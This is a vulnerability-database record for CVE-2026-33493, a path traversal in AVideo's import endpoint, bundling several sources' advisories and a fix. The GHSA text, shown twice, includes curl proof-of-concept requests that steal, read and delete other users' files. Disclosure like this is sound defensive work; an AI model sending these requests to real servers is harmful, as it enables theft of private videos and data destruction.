{"id":"CVE-2026-33493","aliases":["EUVD-2026-14453","GHSA-83xq-8jxj-4rxm"],"status":"published","title":"AVideo has a Path Traversal in import.json.php that Allows Private Video Theft and Arbitrary File Read/Deletion via fileURI Parameter","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `objects/import.json.php` endpoint accepts a user-controlled `fileURI` POST parameter with only a regex check that the value ends in `.mp4`. Unlike `objects/listFiles.json.php`, which was hardened with a `realpath()` + directory prefix check to restrict paths to the `videos/` directory, `import.json.php` performs no directory restriction. This allows an authenticated user with upload permission to: (1) steal any other user's private video files by importing them into their own account, (2) read `.txt`/`.html`/`.htm` files adjacent to any `.mp4` file on the filesystem, and (3) delete `.mp4` and adjacent text files if writable by the web server process. Commit e110ff542acdd7e3b81bdd02b8402b9f6a61ad78 contains a patch.","severity":{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00348,"percentile":0.28818,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-22"],"published":"2026-03-20T20:49:36Z","modified":"2026-10-28T02:30:41Z","affected":[{"source":"ghsa","ecosystem":"Packagist","package":"wwbn/avideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.0"}]}]},{"source":"osv","ecosystem":"Packagist","package":"wwbn/avideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0","26.0"]}],"products":[{"vendor":"wwbn","product":"avideo"}],"references":[{"url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-83xq-8jxj-4rxm","tags":["x_refsource_CONFIRM","Exploit","Mitigation","Vendor Advisory","advisory","web"]},{"url":"https://github.com/WWBN/AVideo/commit/e110ff542acdd7e3b81bdd02b8402b9f6a61ad78","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33493","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-83xq-8jxj-4rxm"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33493.json","tags":["advisory"]},{"url":"https://github.com/WWBN/AVideo","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-33493","title":"AVideo has a Path Traversal in import.json.php that Allows Private Video Theft and Arbitrary File Read/Deletion via fileURI Parameter","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `objects/import.json.php` endpoint accepts a user-controlled `fileURI` POST parameter with only a regex check that the value ends in `.mp4`. Unlike `objects/listFiles.json.php`, which was hardened with a `realpath()` + directory prefix check to restrict paths to the `videos/` directory, `import.json.php` performs no directory restriction. This allows an authenticated user with upload permission to: (1) steal any other user's private video files by importing them into their own account, (2) read `.txt`/`.html`/`.htm` files adjacent to any `.mp4` file on the filesystem, and (3) delete `.mp4` and adjacent text files if writable by the web server process. Commit e110ff542acdd7e3b81bdd02b8402b9f6a61ad78 contains a patch.","status":"published","published":"2026-03-23T15:52:33.788Z","modified":"2026-03-23T16:33:28.572Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:20:08.009733Z"}],"euvd":[{"id":"EUVD-2026-14453","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `objects/import.json.php` endpoint accepts a user-controlled `fileURI` POST parameter with only a regex check that the value ends in `.mp4`. Unlike `objects/listFiles.json.php`, which was hardened with a `realpath()` + directory prefix check to restrict paths to the `videos/` directory, `import.json.php` performs no directory restriction. This allows an authenticated user with upload permission to: (1) steal any other user's private video files by importing them into their own account, (2) read `.txt`/`.html`/`.htm` files adjacent to any `.mp4` file on the filesystem, and (3) delete `.mp4` and adjacent text files if writable by the web server process. Commit e110ff542acdd7e3b81bdd02b8402b9f6a61ad78 contains a patch.","status":"published","published":"2026-03-23T15:52:33Z","modified":"2026-03-23T16:33:28Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","level":"high"}],"updated_at":"2026-11-02T19:25:31.168902Z"}],"ghsa":[{"id":"GHSA-83xq-8jxj-4rxm","title":"AVideo has a Path Traversal in import.json.php Allows Private Video Theft and Arbitrary File Read/Deletion via fileURI Parameter","description":"## Summary\n\nThe `objects/import.json.php` endpoint accepts a user-controlled `fileURI` POST parameter with only a regex check that the value ends in `.mp4`. Unlike `objects/listFiles.json.php`, which was hardened with a `realpath()` + directory prefix check to restrict paths to the `videos/` directory, `import.json.php` performs no directory restriction. This allows an authenticated user with upload permission to: (1) steal any other user's private video files by importing them into their own account, (2) read `.txt`/`.html`/`.htm` files adjacent to any `.mp4` file on the filesystem, and (3) delete `.mp4` and adjacent text files if writable by the web server process.\n\n## Details\n\n### Missing path restriction in import.json.php\n\nAt `objects/import.json.php:12`, the only validation on the user-supplied `fileURI` is a regex ensuring it ends with `.mp4`:\n\n```php\n// objects/import.json.php:12\nif (!preg_match(\"/.*\\\\.mp4$/i\", $_POST['fileURI'])) {\n    return false;\n}\n```\n\nCompare this to the hardened `listFiles.json.php:16-28`, which was patched to restrict paths:\n\n```php\n// objects/listFiles.json.php:16-28\n$allowedBase = realpath($global['systemRootPath'] . 'videos');\n// ...\n$resolvedPath = realpath($_POST['path']);\nif ($resolvedPath === false || strpos($resolvedPath . '/', $allowedBase) !== 0) {\n    http_response_code(403);\n    echo json_encode(['error' =\u003e 'Path not allowed']);\n    exit;\n}\n```\n\nThe same fix was never applied to `import.json.php`.\n\n### Attack Primitive 1: File content disclosure (.txt/.html/.htm)\n\nAt lines 23-43, the endpoint strips the `.mp4` extension from `fileURI` and attempts to read adjacent `.txt`, `.html`, or `.htm` files via `file_get_contents()`:\n\n```php\n// objects/import.json.php:23-43\n$filename = $obj-\u003efileURI['dirname'] . DIRECTORY_SEPARATOR . $obj-\u003efileURI['filename'];\n$extensions = ['txt', 'html', 'htm'];\nforeach ($extensions as $value) {\n    if (file_exists(\"{$filename}.{$value}\")) {\n        $html = file_get_contents(\"{$filename}.{$value}\");\n        $_POST['description'] = $html;\n        // ...\n        break;\n    }\n}\n```\n\nThe content flows into `$_POST['description']`, which is then saved as the video description by `upload.php:59-64`:\n\n```php\n// view/mini-upload-form/upload.php:59-64\nif (!empty($_POST['description'])) {\n    // ...\n    $video-\u003esetDescription($_POST['description']);\n}\n```\n\nThe attacker then views the imported video to read the file contents in the description field. This works for any path where both a `.mp4` file and an adjacent `.txt`/`.html`/`.htm` file exist — which is the standard layout for every video in the `videos/` directory.\n\n### Attack Primitive 2: Private video theft\n\nAt line 49, the endpoint copies the `.mp4` file to a temp directory and then imports it as the current user's video:\n\n```php\n// objects/import.json.php:47-49\n$source = $obj-\u003efileURI['dirname'] . DIRECTORY_SEPARATOR . $obj-\u003efileURI['basename'];\nif (!copy($source, $tmpFileName)) {\n    // ...\n}\n```\n\nAn attacker who knows or can enumerate another user's video filename can copy any private `.mp4` file into their own account.\n\n### Attack Primitive 3: File deletion\n\nAt lines 54-65, when `$_POST['delete']` is set, the endpoint deletes the source `.mp4` and adjacent text files:\n\n```php\n// objects/import.json.php:54-61\nif (!empty($_POST['delete']) \u0026\u0026 $_POST['delete'] !== 'false') {\n    if (is_writable($source)) {\n        unlink($source);\n        foreach ($extensions as $value) {\n            if (file_exists(\"{$filename}.{$value}\")) {\n                unlink(\"{$filename}.{$value}\");\n            }\n        }\n    }\n}\n```\n\n## PoC\n\n### Step 1: Steal a private video\n\nAssuming the attacker knows another user's video filename (e.g., `victim_video_abc123`), which can be enumerated via the platform UI or API:\n\n```bash\ncurl -b 'PHPSESSID=\u003cauthenticated_session_with_upload_perm\u003e' \\\n  -X POST 'https://target/objects/import.json.php' \\\n  -d 'fileURI=/var/www/html/AVideo/videos/victim_video_abc123/victim_video_abc123.mp4'\n```\n\n**Expected result:** The response returns `{\"error\":false, \"videos_id\": \u003cnew_id\u003e, ...}`. The victim's private `.mp4` is now imported as the attacker's own video at the returned `videos_id`.\n\n### Step 2: Read another user's video description file\n\n```bash\ncurl -b 'PHPSESSID=\u003cauthenticated_session_with_upload_perm\u003e' \\\n  -X POST 'https://target/objects/import.json.php' \\\n  -d 'fileURI=/var/www/html/AVideo/videos/victim_video_abc123/victim_video_abc123.mp4\u0026length=100'\n```\n\n**Expected result:** If `victim_video_abc123.txt` (or `.html`/`.htm`) exists alongside the `.mp4`, its contents are stored as the description of the newly created video. The attacker views the video page to read the exfiltrated content.\n\n### Step 3: Delete another user's video\n\n```bash\ncurl -b 'PHPSESSID=\u003cauthenticated_session_with_upload_perm\u003e' \\\n  -X POST 'https://target/objects/import.json.php' \\\n  -d 'fileURI=/var/www/html/AVideo/videos/victim_video_abc123/victim_video_abc123.mp4\u0026delete=true'\n```\n\n**Expected result:** The victim's `.mp4` file and any adjacent `.txt`/`.html`/`.htm` files are deleted (if writable by the web server process).\n\n## Impact\n\n- **Private video theft**: Any authenticated user with upload permission can import another user's private videos into their own account, bypassing all access controls. This directly compromises video content confidentiality.\n- **File content disclosure**: `.txt`, `.html`, and `.htm` files adjacent to any `.mp4` on the filesystem can be read by the attacker. Within the AVideo `videos/` directory, these are video description files that may contain private information.\n- **File deletion**: An attacker can delete other users' video files and metadata, causing data loss.\n- **Blast radius**: All private videos on the instance are accessible to any user with upload permission. In default AVideo configurations, registered users can upload.\n\n## Recommended Fix\n\nApply the same `realpath()` + directory prefix check from `listFiles.json.php` to `import.json.php`, immediately after the `.mp4` regex check:\n\n```php\n// objects/import.json.php — add after line 14 (the preg_match check)\n$allowedBase = realpath($global['systemRootPath'] . 'videos');\nif ($allowedBase === false) {\n    die(json_encode(['error' =\u003e 'Configuration error']));\n}\n$allowedBase .= '/';\n\n$resolvedDir = realpath(dirname($_POST['fileURI']));\nif ($resolvedDir === false || strpos($resolvedDir . '/', $allowedBase) !== 0) {\n    http_response_code(403);\n    die(json_encode(['error' =\u003e 'Path not allowed']));\n}\n// Reconstruct fileURI from resolved path to prevent symlink bypass\n$_POST['fileURI'] = $resolvedDir . '/' . basename($_POST['fileURI']);\n```","status":"published","published":"2026-03-20T20:49:36Z","modified":"2026-03-25T20:31:19Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:39:42.712607Z"}],"nvd":[{"id":"CVE-2026-33493","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `objects/import.json.php` endpoint accepts a user-controlled `fileURI` POST parameter with only a regex check that the value ends in `.mp4`. Unlike `objects/listFiles.json.php`, which was hardened with a `realpath()` + directory prefix check to restrict paths to the `videos/` directory, `import.json.php` performs no directory restriction. This allows an authenticated user with upload permission to: (1) steal any other user's private video files by importing them into their own account, (2) read `.txt`/`.html`/`.htm` files adjacent to any `.mp4` file on the filesystem, and (3) delete `.mp4` and adjacent text files if writable by the web server process. Commit e110ff542acdd7e3b81bdd02b8402b9f6a61ad78 contains a patch.","status":"published","published":"2026-03-23T16:16:49.433Z","modified":"2026-06-17T10:37:35.693Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","level":"high","assessor":"secondary"},{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","level":"high","assessor":"primary"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:12:10.568062Z"}],"osv":[{"id":"CVE-2026-33493","title":"AVideo has a Path Traversal in import.json.php that Allows Private Video Theft and Arbitrary File Read/Deletion via fileURI Parameter","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `objects/import.json.php` endpoint accepts a user-controlled `fileURI` POST parameter with only a regex check that the value ends in `.mp4`. Unlike `objects/listFiles.json.php`, which was hardened with a `realpath()` + directory prefix check to restrict paths to the `videos/` directory, `import.json.php` performs no directory restriction. This allows an authenticated user with upload permission to: (1) steal any other user's private video files by importing them into their own account, (2) read `.txt`/`.html`/`.htm` files adjacent to any `.mp4` file on the filesystem, and (3) delete `.mp4` and adjacent text files if writable by the web server process. Commit e110ff542acdd7e3b81bdd02b8402b9f6a61ad78 contains a patch.","status":"published","published":"2026-03-23T15:52:33.788Z","modified":"2026-10-28T02:30:41.242173606Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:45:01.896044Z"},{"id":"GHSA-83xq-8jxj-4rxm","title":"AVideo has a Path Traversal in import.json.php Allows Private Video Theft and Arbitrary File Read/Deletion via fileURI Parameter","description":"## Summary\n\nThe `objects/import.json.php` endpoint accepts a user-controlled `fileURI` POST parameter with only a regex check that the value ends in `.mp4`. Unlike `objects/listFiles.json.php`, which was hardened with a `realpath()` + directory prefix check to restrict paths to the `videos/` directory, `import.json.php` performs no directory restriction. This allows an authenticated user with upload permission to: (1) steal any other user's private video files by importing them into their own account, (2) read `.txt`/`.html`/`.htm` files adjacent to any `.mp4` file on the filesystem, and (3) delete `.mp4` and adjacent text files if writable by the web server process.\n\n## Details\n\n### Missing path restriction in import.json.php\n\nAt `objects/import.json.php:12`, the only validation on the user-supplied `fileURI` is a regex ensuring it ends with `.mp4`:\n\n```php\n// objects/import.json.php:12\nif (!preg_match(\"/.*\\\\.mp4$/i\", $_POST['fileURI'])) {\n    return false;\n}\n```\n\nCompare this to the hardened `listFiles.json.php:16-28`, which was patched to restrict paths:\n\n```php\n// objects/listFiles.json.php:16-28\n$allowedBase = realpath($global['systemRootPath'] . 'videos');\n// ...\n$resolvedPath = realpath($_POST['path']);\nif ($resolvedPath === false || strpos($resolvedPath . '/', $allowedBase) !== 0) {\n    http_response_code(403);\n    echo json_encode(['error' =\u003e 'Path not allowed']);\n    exit;\n}\n```\n\nThe same fix was never applied to `import.json.php`.\n\n### Attack Primitive 1: File content disclosure (.txt/.html/.htm)\n\nAt lines 23-43, the endpoint strips the `.mp4` extension from `fileURI` and attempts to read adjacent `.txt`, `.html`, or `.htm` files via `file_get_contents()`:\n\n```php\n// objects/import.json.php:23-43\n$filename = $obj-\u003efileURI['dirname'] . DIRECTORY_SEPARATOR . $obj-\u003efileURI['filename'];\n$extensions = ['txt', 'html', 'htm'];\nforeach ($extensions as $value) {\n    if (file_exists(\"{$filename}.{$value}\")) {\n        $html = file_get_contents(\"{$filename}.{$value}\");\n        $_POST['description'] = $html;\n        // ...\n        break;\n    }\n}\n```\n\nThe content flows into `$_POST['description']`, which is then saved as the video description by `upload.php:59-64`:\n\n```php\n// view/mini-upload-form/upload.php:59-64\nif (!empty($_POST['description'])) {\n    // ...\n    $video-\u003esetDescription($_POST['description']);\n}\n```\n\nThe attacker then views the imported video to read the file contents in the description field. This works for any path where both a `.mp4` file and an adjacent `.txt`/`.html`/`.htm` file exist — which is the standard layout for every video in the `videos/` directory.\n\n### Attack Primitive 2: Private video theft\n\nAt line 49, the endpoint copies the `.mp4` file to a temp directory and then imports it as the current user's video:\n\n```php\n// objects/import.json.php:47-49\n$source = $obj-\u003efileURI['dirname'] . DIRECTORY_SEPARATOR . $obj-\u003efileURI['basename'];\nif (!copy($source, $tmpFileName)) {\n    // ...\n}\n```\n\nAn attacker who knows or can enumerate another user's video filename can copy any private `.mp4` file into their own account.\n\n### Attack Primitive 3: File deletion\n\nAt lines 54-65, when `$_POST['delete']` is set, the endpoint deletes the source `.mp4` and adjacent text files:\n\n```php\n// objects/import.json.php:54-61\nif (!empty($_POST['delete']) \u0026\u0026 $_POST['delete'] !== 'false') {\n    if (is_writable($source)) {\n        unlink($source);\n        foreach ($extensions as $value) {\n            if (file_exists(\"{$filename}.{$value}\")) {\n                unlink(\"{$filename}.{$value}\");\n            }\n        }\n    }\n}\n```\n\n## PoC\n\n### Step 1: Steal a private video\n\nAssuming the attacker knows another user's video filename (e.g., `victim_video_abc123`), which can be enumerated via the platform UI or API:\n\n```bash\ncurl -b 'PHPSESSID=\u003cauthenticated_session_with_upload_perm\u003e' \\\n  -X POST 'https://target/objects/import.json.php' \\\n  -d 'fileURI=/var/www/html/AVideo/videos/victim_video_abc123/victim_video_abc123.mp4'\n```\n\n**Expected result:** The response returns `{\"error\":false, \"videos_id\": \u003cnew_id\u003e, ...}`. The victim's private `.mp4` is now imported as the attacker's own video at the returned `videos_id`.\n\n### Step 2: Read another user's video description file\n\n```bash\ncurl -b 'PHPSESSID=\u003cauthenticated_session_with_upload_perm\u003e' \\\n  -X POST 'https://target/objects/import.json.php' \\\n  -d 'fileURI=/var/www/html/AVideo/videos/victim_video_abc123/victim_video_abc123.mp4\u0026length=100'\n```\n\n**Expected result:** If `victim_video_abc123.txt` (or `.html`/`.htm`) exists alongside the `.mp4`, its contents are stored as the description of the newly created video. The attacker views the video page to read the exfiltrated content.\n\n### Step 3: Delete another user's video\n\n```bash\ncurl -b 'PHPSESSID=\u003cauthenticated_session_with_upload_perm\u003e' \\\n  -X POST 'https://target/objects/import.json.php' \\\n  -d 'fileURI=/var/www/html/AVideo/videos/victim_video_abc123/victim_video_abc123.mp4\u0026delete=true'\n```\n\n**Expected result:** The victim's `.mp4` file and any adjacent `.txt`/`.html`/`.htm` files are deleted (if writable by the web server process).\n\n## Impact\n\n- **Private video theft**: Any authenticated user with upload permission can import another user's private videos into their own account, bypassing all access controls. This directly compromises video content confidentiality.\n- **File content disclosure**: `.txt`, `.html`, and `.htm` files adjacent to any `.mp4` on the filesystem can be read by the attacker. Within the AVideo `videos/` directory, these are video description files that may contain private information.\n- **File deletion**: An attacker can delete other users' video files and metadata, causing data loss.\n- **Blast radius**: All private videos on the instance are accessible to any user with upload permission. In default AVideo configurations, registered users can upload.\n\n## Recommended Fix\n\nApply the same `realpath()` + directory prefix check from `listFiles.json.php` to `import.json.php`, immediately after the `.mp4` regex check:\n\n```php\n// objects/import.json.php — add after line 14 (the preg_match check)\n$allowedBase = realpath($global['systemRootPath'] . 'videos');\nif ($allowedBase === false) {\n    die(json_encode(['error' =\u003e 'Configuration error']));\n}\n$allowedBase .= '/';\n\n$resolvedDir = realpath(dirname($_POST['fileURI']));\nif ($resolvedDir === false || strpos($resolvedDir . '/', $allowedBase) !== 0) {\n    http_response_code(403);\n    die(json_encode(['error' =\u003e 'Path not allowed']));\n}\n// Reconstruct fileURI from resolved path to prevent symlink bypass\n$_POST['fileURI'] = $resolvedDir . '/' . basename($_POST['fileURI']);\n```","status":"published","published":"2026-03-20T20:49:36Z","modified":"2026-03-25T20:46:54.999068Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:41.732368Z"}]}}
